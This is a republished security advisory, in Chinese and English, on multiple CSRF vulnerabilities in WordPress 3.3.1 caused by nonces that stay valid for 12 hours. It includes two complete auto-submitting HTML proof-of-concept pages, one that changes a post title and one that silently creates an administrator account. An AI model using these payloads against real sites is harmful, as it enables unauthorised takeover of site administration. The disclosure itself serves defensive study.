来源：自学PHP网 时间：2015-04-17 13:02 作者： 阅读:次
[导读] 标题: Wordpress 3.3.1 Multiple CSRF Vulnerabilities下载地址 : http://wordpress.org/wordpress-3.3.1.zip作者: http://wordpress.org影响版本: 3.3.1 及更低. 可能 3.3.2 也受影响测试平台: D......
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标题: Wordpress 3.3.1 Multiple CSRF Vulnerabilities
下载地址 : http://wordpress.org/wordpress-3.3.1.zip 作者: http://wordpress.org 影响版本: 3.3.1 及更低. 可能 3.3.2 也受影响 测试平台: Debian Squeeze (6.0) -------------------------------------------------------------------------------------+ 概要 1) 介绍 2)缺陷描述 2.1多个 CSRF 3)测试 3.1 CSRF (Change Post Title) 3.2 CSRF (添加管理员) +---------------------------- 1) 介绍 WordPress "is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at the same time." 2) 缺陷描述 2.1 多个 CSRF Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an attacker to change post title, add administrators/users, delete administrators/users, approve and unapprove comment, delete comment, change background image, insert custom header image, change site title, change administrator's email, change Wordpress Address, change Site Address, when an authenticated user/admin browses a special crafted web page. May be other parameters can be modified. This vulnerability is caused by a security flaw in anti-CSRF token (_wpnonce, _wpnonce_create-user, _ajax_nonce, _wpnonce-custom-background-upload, _wpnonce-custom-header-upload) generation. For some operations (see below) above specified anti-CSRF tokens are not associated with the current user session (as Owasp recommends) but are the are valid for all operations (for a specific administrator/user) within 12 hour. The above described vulnerability allows an attacker - who has sniffed anti-CSRF token - to have 12 hour to perform a CSRF attack. For Owasp recommendation about anti-CSRF token, you can read the following document: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern This problem affects the following operations: - Add Admin/User - Delete Admin/User - Approve comment - Unapprove comment - Delete comment - Change background image - Insert custom header image - Change site title - Change administrator's email - Change Wordpress Address - Change Site Address Other operations (like insert a new post) are not affected by this CSRF vulnerability. In this Advisory I will only demonstrate how to change post title and how to add a new administrator account. 3) 测试 3.1 CSRF (Change Post Title) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change post title</H2> <form method="POST" name="form0" action="http:// www.2cto.com /wp-admin/admin-ajax.php"> <input type="hidden" name="post_title" value="hackedtitle"/> <input type="hidden" name="post_name" value="hackedtitle"/> <input type="hidden" name="mm" value="03"/> <input type="hidden" name="jj" value="16"/> <input type="hidden" name="aa" value="2012"/> <input type="hidden" name="hh" value=""/> <input type="hidden" name="mn" value=""/> <input type="hidden" name="ss" value=""/> <input type="hidden" name="post_author" value="1"/> <input type="hidden" name="post_password" value=""/> <input type="hidden" name="post_category%5B%5D" value="0"/> <input type="hidden" name="post_category%5B%5D" value="1"/> <input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/> <input type="hidden" name="comment_status" value="open"/> <input type="hidden" name="ping_status" value="open"/> <input type="hidden" name="_status" value="publish"/> <input type="hidden" name="post_format" value="0"/> <input type="hidden" name="_inline_edit" value="7368479d84"/> <input type="hidden" name="post_view" value="list"/> <input type="hidden" name="screen" value="edit-post"/> <input type="hidden" name="action" value="inline-save"/> <input type="hidden" name="post_type" value="post"/> <input type="hidden" name="post_ID" value="1"/> <input type="hidden" name="edit_date" value="true"/> <input type="hidden" name="post_status" value="all"/> </form> </body> </html> 3.2 CSRF (Add Admin) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method="POST" name="form0" action="http:// www.2 cto.com /wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"/> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> <input type="hidden" name="user_login" value="admin2"/> <input type="hidden" name="email" value="admin2@admin.com"/> <input type="hidden" name="first_name" value="admin2@admin.com"/> <input type="hidden" name="last_name" value=""/> <input type="hidden" name="url" value=""/> <input type="hidden" name="pass1" value="password"/> <input type="hidden" name="pass2" value="password"/> <input type="hidden" name="role" value="administrator"/> <input type="hidden" name="createuser" value="Add+New+User+"/> </form> </body> </html> |
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